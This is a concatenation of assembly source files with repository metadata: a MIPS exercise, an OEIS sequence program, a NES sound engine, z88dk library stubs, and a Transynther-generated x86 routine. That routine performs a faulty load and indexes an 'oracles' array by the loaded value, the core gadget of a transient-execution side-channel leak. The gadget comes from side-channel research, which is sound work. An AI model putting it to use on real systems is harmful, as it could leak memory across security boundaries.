array: .space 80 # 20 words
.text
li $a0, 0x10020000
jal init_array
li $a0, 0x10020000
jal find_amount_bigger_than_zero_word_in_array
add $a0, $v0, $zero # amount of words bigger than 0 in array
li $v0, 1 # print integer
syscall
b end
#------------------------#
init_array:
add $t2, $a0, $zero
li $t3, 0
_init_array_loop_start:
li $v0, 42
li $a0, 0
li $a1, 101
syscall
subi $a0, $a0, 50
sw $a0, ($t2)
addi $t2, $t2, 4
addi $t3, $t3, 1
bne $t3, 20, _init_array_loop_start
subi $t2, $t2, 80
jr $ra
#------------------------#
find_amount_bigger_than_zero_word_in_array:
add $t0, $a0, $zero # address of array
li $t1, 0 # start from index 0
li $t4, 0
_find_amount_bigger_than_zero_word_in_array_loop_start:
lw $t3, ($t0)
blt $t3, 0, _skip_if_bigger_than_zero
add $t4, $t4, 1
_skip_if_bigger_than_zero:
addi $t0, $t0, 4
addi $t1, $t1, 1
bne $t1, 20, _find_amount_bigger_than_zero_word_in_array_loop_start
add $v0, $t4, $zero
jr $ra
#------------------------#
end:
| 20.387755
| 68
| 0.656657
|
8d1efdfce847e5044ae22670da5d93bf3a114fbf
| 1,088
|
asm
|
Assembly
|
programs/oeis/157/A157335.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/157/A157335.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/157/A157335.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A157335: Expansion of 1/( (1+x)*(1-7*x+x^2) ).
; 1,6,42,287,1968,13488,92449,633654,4343130,29768255,204034656,1398474336,9585285697,65698525542,450304393098,3086432226143,21154721189904,144996616103184,993821591532385,6811754524623510,46688460080832186,320007466041201791,2193363802207580352,15033539149411860672,103041410243675444353,706256332556316249798,4840752917650538304234,33179014090997451879839,227412345719331624854640,1558707405944323922102640,10683539495890935829863841,73226069065292226886944246,501898943961154652378745882,3440066538662790339764276927,23578566826678377725971192608,161609901248085853742034071328,1107690741909922598468267306689,7592225292121372335535837075494,52037886302939683750282592221770,356672978828456413916442308476895,2444672965496255213664813567116496,16756037779645330081737252661338576,114847591492021055358495955062253537,787177102664502057427734432774436182
add $0,1
seq $0,295774 ; a(n) is the minimum size of a restricted planar additive basis for the square [0,2n]^2.
sub $0,1
seq $0,1911 ; a(n) = Fibonacci(n+3) - 2.
div $0,9
add $0,1
| 108.8
| 856
| 0.877757
|
a588bffebb8c8182f605d376cfac96f06636b05e
| 12,386
|
asm
|
Assembly
|
src/envelopes_sound_engine.6502.asm
|
mrpopogod/nes-fun
|
80e6af809874f2de89bd52f05f04c451dc29b333
|
[
"MIT"
] | null | null | null |
src/envelopes_sound_engine.6502.asm
|
mrpopogod/nes-fun
|
80e6af809874f2de89bd52f05f04c451dc29b333
|
[
"MIT"
] | null | null | null |
src/envelopes_sound_engine.6502.asm
|
mrpopogod/nes-fun
|
80e6af809874f2de89bd52f05f04c451dc29b333
|
[
"MIT"
] | null | null | null |
SQUARE_1 = $00 ;these are channel constants
SQUARE_2 = $01
TRIANGLE = $02
NOISE = $03
MUSIC_SQ1 = $00 ;these are stream # constants
MUSIC_SQ2 = $01 ;stream # is used to index into variables
MUSIC_TRI = $02
MUSIC_NOI = $03
SFX_1 = $04
SFX_2 = $05
sound_init:
lda #$0F
sta $4015 ;enable Square 1, Square 2, Triangle and Noise channels
lda #$00
sta sound_disable_flag ;clear disable flag
;later, if we have other variables we want to initialize, we will do that here.
lda #$FF
sta sound_sq1_old ;initializing these to $FF ensures that the first notes of the first song isn't skipped
sta sound_sq2_old
se_silence:
lda #$30
sta soft_apu_ports ;set Square 1 volume to 0
sta soft_apu_ports+4 ;set Square 2 volume to 0
sta soft_apu_ports+12 ;set Noise volume to 0
lda #$80
sta soft_apu_ports+8 ;silence Triangle
rts
sound_disable:
lda #$00
sta $4015 ;disable all channels
lda #$01
sta sound_disable_flag ;set disable flag
rts
;-------------------------------------
; load_sound will prepare the sound engine to play a song or sfx.
; input:
; A: song/sfx number to play
sound_load:
sta sound_temp1 ;save song number
asl a ;multiply by 2. We are indexing into a table of pointers (words)
tay
lda song_headers, y ;setup the pointer to our song header
sta sound_ptr
lda song_headers+1, y
sta sound_ptr+1
ldy #$00
lda (sound_ptr), y ;read the first byte: # streams
sta sound_temp2 ;store in a temp variable. We will use this as a loop counter: how many streams to read stream headers for
iny
@loop:
lda (sound_ptr), y ;stream number
tax ;stream number acts as our variable index
iny
lda (sound_ptr), y ;status byte. 1= enable, 0=disable
sta stream_status, x
beq @next_stream ;if status byte is 0, stream disabled, so we are done
iny
lda (sound_ptr), y ;channel number
sta stream_channel, x
iny
lda (sound_ptr), y ;initial duty and volume settings
sta stream_vol_duty, x
iny
lda (sound_ptr), y
sta stream_ve, x
iny
lda (sound_ptr), y ;pointer to stream data. Little endian, so low byte first
sta stream_ptr_LO, x
iny
lda (sound_ptr), y
sta stream_ptr_HI, x
iny
lda (sound_ptr), y
sta stream_tempo, x
lda #$A0
sta stream_ticker_total, x
lda #$01
sta stream_note_length_counter,x
lda #$00
sta stream_ve_index, x
@next_stream:
iny
lda sound_temp1 ;song number
sta stream_curr_sound, x
dec sound_temp2 ;our loop counter
bne @loop
rts
;--------------------------
; sound_play_frame advances the sound engine by one frame
sound_play_frame:
lda sound_disable_flag
bne @done ;if disable flag is set, don't advance a frame
jsr se_silence ;silence all channels. se_set_apu will set volume later for all channels that are enabled.
;the purpose of this subroutine call is to silence channels that aren't used by any streams.
ldx #$00
@loop:
lda stream_status, x
and #$01 ;check whether the stream is active
beq @endloop ;if the stream isn't active, skip it
;add the tempo to the ticker total. If there is a FF-> 0 transition, there is a tick
lda stream_ticker_total, x
clc
adc stream_tempo, x
sta stream_ticker_total, x
bcc @set_buffer ;carry clear = no tick. if no tick, we are done with this stream
dec stream_note_length_counter, x ;else there is a tick. decrement the note length counter
bne @set_buffer ;if counter is non-zero, our note isn't finished playing yet
lda stream_note_length, x ;else our note is finished. reload the note length counter
sta stream_note_length_counter, x
jsr se_fetch_byte ;read the next byte from the data stream
@set_buffer:
jsr se_set_temp_ports ;copy the current stream's sound data for the current frame into our temporary APU vars (soft_apu_ports)
@endloop:
inx
cpx #$06
bne @loop
jsr se_set_apu ;copy the temporary APU variables (soft_apu_ports) to the real APU ports ($4000, $4001, etc)
@done:
rts
;--------------------------
; se_fetch_byte reads one byte from a sound data stream and handles it
; input:
; X: stream number
se_fetch_byte:
lda stream_ptr_LO, x
sta sound_ptr
lda stream_ptr_HI, x
sta sound_ptr+1
ldy #$00
@fetch:
lda (sound_ptr), y
bpl @note ;if < #$80, it's a Note
cmp #$A0
bcc @note_length ;else if < #$A0, it's a Note Length
@opcode: ;else it's an opcode
;do Opcode stuff
cmp #$FF
bne @end
lda stream_status, x ;if $FF, end of stream, so disable it and silence
and #%11111110
sta stream_status, x ;clear enable flag in status byte
lda stream_channel, x
cmp #TRIANGLE
beq @silence_tri ;triangle is silenced differently from squares and noise
lda #$30 ;squares and noise silenced with #$30
bne @silence
@silence_tri:
lda #$80 ;triangle silenced with #$80
@silence:
sta stream_vol_duty, x ;store silence value in the stream's volume variable.
jmp @update_pointer ;done
@note_length:
;do note length stuff
and #%01111111 ;chop off bit7
sty sound_temp1 ;save Y because we are about to destroy it
tay
lda note_length_table, y ;get the note length count value
sta stream_note_length, x
sta stream_note_length_counter, x ;stick it in our note length counter
ldy sound_temp1 ;restore Y
iny ;set index to next byte in the stream
jmp @fetch ;fetch another byte
@note:
;do Note stuff
sty sound_temp1 ;save our index into the data stream
asl a
tay
lda note_table, y
sta stream_note_LO, x
lda note_table+1, y
sta stream_note_HI, x
ldy sound_temp1 ;restore data stream index
lda #$00
sta stream_ve_index, x
;check if it's a rest and modify the status flag appropriately
jsr se_check_rest
@update_pointer:
iny
tya
clc
adc stream_ptr_LO, x
sta stream_ptr_LO, x
bcc @end
inc stream_ptr_HI, x
@end:
rts
;--------------------------------------------------
; se_check_rest will read a byte from the data stream and
; determine if it is a rest or not. It will set or clear the current
; stream's rest flag accordingly.
; input:
; X: stream number
; Y: data stream index
se_check_rest:
lda (sound_ptr), y ;read the note byte again
cmp #rest
bne @not_rest
lda stream_status, x
ora #%00000010 ;set the rest bit in the status byte
bne @store ;this will always branch. bne is cheaper than a jmp.
@not_rest:
lda stream_status, x
and #%11111101 ;clear the rest bit in the status byte
@store:
sta stream_status, x
rts
;----------------------------------------------------
; se_set_temp_ports will copy a stream's sound data to the temporary apu variables
; input:
; X: stream number
se_set_temp_ports:
lda stream_channel, x
asl a
asl a
tay
jsr se_set_stream_volume
lda #$08
sta soft_apu_ports+1, y ;sweep
lda stream_note_LO, x
sta soft_apu_ports+2, y ;period LO
lda stream_note_HI, x
sta soft_apu_ports+3, y ;period HI
rts
;----------------------------------
;
se_set_stream_volume:
sty sound_temp1 ;save our index into soft_apu_ports (we are about to destroy y)
lda stream_ve, x ;which volume envelope?
asl a ;multiply by 2 because we are indexing into a table of addresses (words)
tay
lda volume_envelopes, y ;get the low byte of the address from the pointer table
sta sound_ptr ;put it into our pointer variable
lda volume_envelopes+1, y ;get the high byte of the address
sta sound_ptr+1
@read_ve:
ldy stream_ve_index, x ;our current position within the volume envelope.
lda (sound_ptr), y ;grab the value.
cmp #$FF
bne @set_vol ;if not FF, set the volume
dec stream_ve_index, x ;else if FF, go back one and read again
jmp @read_ve ; FF essentially tells us to repeat the last
; volume value for the remainder of the note
@set_vol:
sta sound_temp2 ;save our new volume value (about to destroy A)
cpx #TRIANGLE
bne @squares ;if not triangle channel, go ahead
lda sound_temp2
bne @squares ;else if volume not zero, go ahead (treat same as squares)
lda #$80
bmi @store_vol ;else silence the channel with #$80
@squares:
lda stream_vol_duty, x ;get current vol/duty settings
and #$F0 ;zero out the old volume
ora sound_temp2 ;OR our new volume in.
@store_vol:
ldy sound_temp1 ;get our index into soft_apu_ports
sta soft_apu_ports, y ;store the volume in our temp port
inc stream_ve_index, x ;set our volume envelop index to the next position
@rest_check:
;check the rest flag. if set, overwrite volume with silence value
lda stream_status, x
and #%00000010
beq @done ;if clear, no rest, so quit
lda stream_channel, x
cmp #TRIANGLE ;if triangle, silence with #$80
beq @tri ;else, silence with #$30
lda #$30
bne @store ;this always branches. bne is cheaper than a jmp
@tri:
lda #$80
@store:
sta soft_apu_ports, y
@done:
rts
;--------------------------
; se_set_apu copies the temporary RAM ports to the APU ports
se_set_apu:
@square1:
lda soft_apu_ports+0
sta $4000
lda soft_apu_ports+1
sta $4001
lda soft_apu_ports+2
sta $4002
lda soft_apu_ports+3
cmp sound_sq1_old ;compare to last write
beq @square2 ;don't write this frame if they were equal
sta $4003
sta sound_sq1_old ;save the value we just wrote to $4003
@square2:
lda soft_apu_ports+4
sta $4004
lda soft_apu_ports+5
sta $4005
lda soft_apu_ports+6
sta $4006
lda soft_apu_ports+7
cmp sound_sq2_old
beq @triangle
sta $4007
sta sound_sq2_old ;save the value we just wrote to $4007
@triangle:
lda soft_apu_ports+8
sta $4008
lda soft_apu_ports+10 ;there is no $4009, so we skip it
sta $400A
lda soft_apu_ports+11
sta $400B
@noise:
lda soft_apu_ports+12
sta $400C
lda soft_apu_ports+14 ;there is no $400D, so we skip it
sta $400E
lda soft_apu_ports+15
sta $400F
rts
NUM_SONGS = $07 ;if you add a new song, change this number.
;headers.asm checks this number in its song_up and song_down subroutines
;to determine when to wrap around.
;this is our pointer table. Each entry is a pointer to a song header
song_headers:
.word song0_header ;this is a silence song. See song0.i for more details
.word song1_header ;evil, demented notes
.word song2_header ;a sound effect. Try playing it over the other songs.
.word song3_header ;a little chord progression.
.word song4_header ;a new song taking advantage of note lengths and rests
.word song5_header ;another sound effect played at a very fast tempo.
.word song6_header ;take on me
.include "note_table.6502.asm" ;period lookup table for notes
.include "note_length_table.6502.asm"
.include "vol_envelopes.6502.asm"
.include "envelopes_song0.6502.asm" ;holds the data for song 0 (header and data streams)
.include "envelopes_song1.6502.asm" ;holds the data for song 1
.include "envelopes_song2.6502.asm"
.include "envelopes_song3.6502.asm"
.include "envelopes_song4.6502.asm"
.include "envelopes_song5.6502.asm"
.include "envelopes_song6.6592.asm"
| 32.171429
| 135
| 0.625222
|
95de4424fa061ab1d67ca1674721efc8fc7b537b
| 4,356
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2447.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2447.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2447.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r15
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xc42e, %rsi
lea addresses_WT_ht+0xf2c, %rdi
nop
nop
and $20065, %r15
mov $5, %rcx
rep movsq
nop
nop
sub %rax, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %rax
push %rdx
push %rsi
// Load
lea addresses_WC+0x798e, %rdx
nop
nop
nop
cmp $48822, %rsi
mov (%rdx), %r14d
nop
nop
nop
nop
nop
xor %rsi, %rsi
// Faulty Load
lea addresses_normal+0x1f20e, %rsi
nop
nop
xor $59837, %r12
movups (%rsi), %xmm7
vpextrq $0, %xmm7, %r15
lea oracles, %rsi
and $0xff, %r15
shlq $12, %r15
mov (%rsi,%r15,1), %r15
pop %rsi
pop %rdx
pop %rax
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 55.139241
| 2,999
| 0.662534
|
ce310df4626174c6480dbee0a8572a90d3fe09c7
| 281
|
asm
|
Assembly
|
examples/joyscr.asm
|
Cichy3D/Komp2IDE
|
b4eee06ac254d7a3d4f71376329646fb5323bf75
|
[
"Apache-2.0"
] | null | null | null |
examples/joyscr.asm
|
Cichy3D/Komp2IDE
|
b4eee06ac254d7a3d4f71376329646fb5323bf75
|
[
"Apache-2.0"
] | null | null | null |
examples/joyscr.asm
|
Cichy3D/Komp2IDE
|
b4eee06ac254d7a3d4f71376329646fb5323bf75
|
[
"Apache-2.0"
] | null | null | null |
:start
load a a;
mov e a
load h 30;
joy bxb
mov a b
div a e
add h
mov c a;
switch c;
mov a b
mod a e
add h
mov c a;
switch c;
mov a bx
div a e
add h
mov d a;
switch d;
mov a bx
mod a e
add h
mov d a;
switch d
print c
print cx
print ", "
print d
print dx
print e
goto :start
| 7.025
| 11
| 0.644128
|
d067584e1fe58a09c61eafa0f6c175776c931447
| 584
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/alloc/malloc/c/sdcc_iy/realloc_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/alloc/malloc/c/sdcc_iy/realloc_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/alloc/malloc/c/sdcc_iy/realloc_callee.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
; void *realloc_callee(void *p, size_t size)
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_alloc_malloc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $01
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _realloc_callee
EXTERN asm_realloc
_realloc:
pop af
pop hl
pop bc
push af
jp asm_realloc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _realloc_callee
EXTERN _realloc_unlocked_callee
defc _realloc_callee = _realloc_unlocked_callee
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
| 14.974359
| 47
| 0.523973
|
25782859aac92066aecdde0b4c5df07c80e90add
| 22
|
asm
|
Assembly
|
test/asm/file-sym.asm
|
orbea/rgbds
|
91889fc14abbf705271bb484e89e349e08f76477
|
[
"MIT"
] | null | null | null |
test/asm/file-sym.asm
|
orbea/rgbds
|
91889fc14abbf705271bb484e89e349e08f76477
|
[
"MIT"
] | null | null | null |
test/asm/file-sym.asm
|
orbea/rgbds
|
91889fc14abbf705271bb484e89e349e08f76477
|
[
"MIT"
] | null | null | null |
PRINTT "{__FILE__}\n"
| 11
| 21
| 0.681818
|
7c65964f7584ba93323313361ac5e84b5ea21a50
| 674
|
asm
|
Assembly
|
PA5/samples/pa9-sum.asm
|
atomic/CSE131
|
9d60c16f65fbd5cb91840643cbe6c4c9f5fdd2b4
|
[
"MIT"
] | 1
|
2019-04-22T07:40:24.000Z
|
2019-04-22T07:40:24.000Z
|
PA5/samples/pa9-sum.asm
|
atomic/CSE131
|
9d60c16f65fbd5cb91840643cbe6c4c9f5fdd2b4
|
[
"MIT"
] | null | null | null |
PA5/samples/pa9-sum.asm
|
atomic/CSE131
|
9d60c16f65fbd5cb91840643cbe6c4c9f5fdd2b4
|
[
"MIT"
] | null | null | null |
.data
text: .asciiz "Enter a number: "
output: .asciiz "Sum output: "
.text
main:
# Printing out the text
li $v0, 4
la $a0, text
syscall
# Getting user input to register $t1
li $v0, 5
syscall
move $t1, $v0
# Sum starts with 0
li $t3, 0
# Iteartion i = t4
li $t4, 1
# Condition Check
L0:
slt $t5, $t1, $t4
not $t5, $t5
andi $t5, $t5, 1
bne $t5, $zero, L1
j L2
# Loop Body
L1:
add $t3, $t3, $t4
addi $t4, $t4, 1
j L0
# End
L2:
# Printing output of the sum
li $v0, 4
la $a0, output
syscall
li $v0, 1
move $a0, $t3
syscall
li $v0, 10
syscall
| 13.755102
| 40
| 0.511869
|
008aa0e362780e36c0ca2c3ce3a2e787ce9a9f49
| 71
|
asm
|
Assembly
|
src/main/fragment/mos6502-common/vwsm1=_sword_vbsaa.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | 2
|
2022-03-01T02:21:14.000Z
|
2022-03-01T04:33:35.000Z
|
src/main/fragment/mos6502-common/vwsm1=_sword_vbsaa.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
src/main/fragment/mos6502-common/vwsm1=_sword_vbsaa.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
sta {m1}
// sign-extend the byte
ora #$7f
bmi !+
lda #0
!:
sta {m1}+1
| 8.875
| 23
| 0.56338
|
0e08533c149d5c3c7b37583e943069f75bc7bf07
| 150
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/input/zx/c/sccz80/in_stick_fuller.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/input/zx/c/sccz80/in_stick_fuller.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/input/zx/c/sccz80/in_stick_fuller.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
; uint16_t in_stick_fuller(void)
SECTION code_input
PUBLIC in_stick_fuller
EXTERN asm_in_stick_fuller
defc in_stick_fuller = asm_in_stick_fuller
| 13.636364
| 42
| 0.853333
|
7a41919d6315f61cc0a299b5349bbc96da340653
| 833
|
asm
|
Assembly
|
oeis/267/A267454.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/267/A267454.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/267/A267454.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A267454: Total number of OFF (white) cells after n iterations of the "Rule 131" elementary cellular automaton starting with a single ON (black) cell.
; Submitted by Jon Maiga
; 0,2,5,10,15,23,30,40,51,63,75,91,106,123,141,161,181,204,226,251,277,304,331,362,392,424,457,492,527,565,602,642,683,725,767,813,858,905,953,1003,1053,1106,1158,1213,1269,1326,1383,1444,1504,1566,1629,1694,1759,1827,1894,1964,2035,2107,2179,2255,2330,2407,2485,2565,2645,2728,2810,2895,2981,3068,3155,3246,3336,3428,3521,3616,3711,3809,3906,4006,4107,4209,4311,4417,4522,4629,4737,4847,4957,5070,5182,5297,5413,5530,5647,5768,5888,6010,6133,6258
mov $2,$0
mov $4,$0
lpb $4
mov $0,$2
sub $4,1
sub $0,$4
add $0,1
mul $0,2
mov $1,$0
gcd $0,3
add $1,1
lpb $1
add $0,5
trn $1,4
lpe
div $0,2
sub $0,3
add $3,$0
lpe
mov $0,$3
| 33.32
| 447
| 0.692677
|
fd6ef10ce4184400cdcb868b04ee9ac737cb8317
| 291
|
asm
|
Assembly
|
libsrc/games/bit_beepfx.asm
|
dikdom/z88dk
|
40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0
|
[
"ClArtistic"
] | 1
|
2022-03-08T11:55:58.000Z
|
2022-03-08T11:55:58.000Z
|
libsrc/games/bit_beepfx.asm
|
dikdom/z88dk
|
40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0
|
[
"ClArtistic"
] | 2
|
2022-03-20T22:17:35.000Z
|
2022-03-24T16:10:00.000Z
|
libsrc/games/bit_beepfx.asm
|
jorgegv/z88dk
|
127130cf11f9ff268ba53e308138b12d2b9be90a
|
[
"ClArtistic"
] | null | null | null |
; void bit_beepfx(void *effect)
SECTION code_clib
SECTION code_sound_bit
IF !__CPU_INTEL__ && !__CPU_GBZ80__ && !__CPU_RABBIT__
PUBLIC bit_beepfx
PUBLIC _bit_beepfx
EXTERN asm_bit_beepfx
bit_beepfx:
_bit_beepfx:
push hl
ex (sp),ix
call asm_bit_beepfx
pop ix
ret
ENDIF
| 12.125
| 54
| 0.756014
|
5801e085200fb1f3f12ea36dd0797e6c78682c2f
| 917
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/error/z80/error_ebadf_mc.asm
|
RC2014Z80/z88dk
|
e5b9447b970e5fae26544b6d8aa5957c98ba0e6a
|
[
"ClArtistic"
] | 8
|
2017-01-18T12:02:17.000Z
|
2021-06-12T09:40:28.000Z
|
libsrc/_DEVELOPMENT/error/z80/error_ebadf_mc.asm
|
RC2014Z80/z88dk
|
e5b9447b970e5fae26544b6d8aa5957c98ba0e6a
|
[
"ClArtistic"
] | 1
|
2017-03-06T07:41:56.000Z
|
2017-03-06T07:41:56.000Z
|
libsrc/_DEVELOPMENT/error/z80/error_ebadf_mc.asm
|
RC2014Z80/z88dk
|
e5b9447b970e5fae26544b6d8aa5957c98ba0e6a
|
[
"ClArtistic"
] | 3
|
2017-03-07T03:19:40.000Z
|
2021-09-15T17:59:19.000Z
|
INCLUDE "config_private.inc"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_ERROR
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; verbose mode
SECTION code_clib
SECTION code_error
PUBLIC error_ebadf_mc
EXTERN __EBADF, errno_mc
pop hl
error_ebadf_mc:
; set hl = -1
; set carry flag
; set errno = EBADF
ld l,__EBADF
jp errno_mc
SECTION rodata_clib
SECTION rodata_error_strings
